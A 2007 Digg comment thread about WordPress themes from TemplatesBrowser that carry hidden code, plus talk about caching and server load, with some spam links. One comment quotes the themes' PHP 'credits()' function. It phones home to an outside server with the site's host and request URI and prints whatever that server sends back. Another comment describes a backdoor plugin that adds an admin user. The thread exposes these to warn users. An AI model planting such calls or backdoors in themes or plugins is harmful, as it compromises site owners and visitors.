- NinjaBoy, on 10/10/2007, -3/+27I hate this generalization. My site has survived several diggs without a hickup. People don't see sites hosted on ***** ass servers.
- Mc_Carter, on 10/10/2007, -17/+37too bad no one ever sees wordpress themes because the sites go down after five diggs.
- NinjaBoy, on 10/10/2007, -1/+17http://themes.wordpress.net/ is what i meant. But i hit edit and the script froze up and by the time i got the page reloaded the post was final. Ugh i hate the new digg comment system.
- Ashex, on 10/10/2007, -0/+13That's a myth, the primary reason that wordpress blogs go down is because the huge amount of database requests crash mysql, if it isn't that, it's because every time the page is loaded, wordpress generates the page from scratch everytime. Using a couple simple plugins, such as wp-cache will easily prevent this, along with enabling the built-in cache feature in wordpress.
I've done these things to prevent my site from going down in the event that it gets dugg, I'm fairly confident it won't - vannoy, on 10/10/2007, -1/+12Well hello Mr. Fancy..
- Figs, on 10/10/2007, -0/+8Read the source code and see what it does?
- NinjaBoy, on 10/10/2007, -0/+8Its really about the number of DB calls your site makes. If ever user take 40 DB calls to render the page its going down way faster than one making 6.
- NinjaBoy, on 10/10/2007, -4/+11ok if you want a wordpress theme try going to http://themes.wordpress.org
- imablackguy, on 10/10/2007, -0/+6It calls this:
-
function credits()
{
$url = "http://1.templatesbrowser.com/wp.php?" .
"url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("1.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}

- mtriper, on 10/10/2007, -0/+5Dugg up for modesty!
http://en.wikipedia.org/wiki/Malicious_code - abandonedhero, on 10/10/2007, -2/+6WARNING DIGGERS! Making stupid comments WILL get you dugg down like this tosser.
- ThirdPrize, on 10/10/2007, -0/+3That sounds like fighting talk.
- civperc, on 10/10/2007, -0/+3lol have fun with that...
- apotropaic, on 10/10/2007, -1/+4Its a good observation of wordpress sites overall, most are hosted on ***** ass server as you say, and even then some still go down on dedicated servers. You say its all about the number of calls you make to the DB (duh!) but what you aren't mentioning is that a very small % of wordpress users even know what the word optimization means! So if your wordpress site didn't go down on a digg effect, grats, but I can't say thats the norm.
- deathproof, on 10/10/2007, -2/+5What is Malicious code? I'm sure I'll get dugg down for asking such a question instead of getting an answer.
- rxbbx, on 10/10/2007, -1/+3This took long.. i am surprised it never happened before..
- redwallhp, on 10/10/2007, -1/+3Uh, some of the best blogs on the web are Wordpress. Smashing Magazine is run off Wordpress, and you've seen all the diggs they get! I think those Wordpress devs need to get going and add wp-cache-like functionality to Wordpress instead of requiring a plugin. They should also improve the admin panel.
- isdereks, on 10/10/2007, -0/+2This paranoia can be applied to anything that you find and download on the internet.
- imablackguy, on 10/10/2007, -0/+2The obvious response to this would be to not upload the extra functions.php/remove whatever additional call?
Someone should just do a quick diff against the original theme and the TB theme. - oasis1984, on 10/18/2009, -0/+1Thankyou I like this if you find korean dress fashion you can visit

Thank... - mallamace, on 11/22/2008, -0/+1Warning, this is just a scare tactic! The fact that you can add functionality to your template is a huge bonus. Sometimes you give up a little security for the overwhelming bonus of functionality. I can't speak for Wordpress, but Joomla is the safest and most secure CMS platform out there.
I'm a coder, I know what I'm talking about. I think there are some people out there that have something against Joomla. Don't believe their lies. - thatdouch, on 11/18/2008, -0/+1i laughed

http://system-teeth-whitening.blogspot.com/ - Brajeshwar, on 10/10/2007, -1/+2This sucks, I found my theme bring re-distributed too without the credit and the malicious code in the "funcstions.php". I have done what I can to spread the word against downloading from TemplateBrowser - http://www.brajeshwar.com/2007/templatebrowser-is-pirating-your-wordpress-themes/
- headzoo, on 10/10/2007, -1/+2You really don't know what kind of crazy code might be in those templates and plugins you're installing. They could easily create backdoors to give people access to your site. I could put out a plugin for WP that creates a full admin user, and emails me the URL to your blog, so I can then go log in and do whatever I want.
There's really a hundred different ways, but most people don't think twice when installing any ol' theme or plugin that they found on the web. - 108programs, on 10/17/2009, -0/+1What is Malicious code? I'm sure I'll get dugg down for asking such a question instead of getting an answer.

http://www.skateboardexpress.com.au - kupa, on 10/10/2007, -2/+2I always liked Sandbox; http://www.plaintxt.org/themes/sandbox/ -- it's a bit basic for those looking for pre-made fully done themes, but it's perfect for those who like to endlessly tweak their templates.
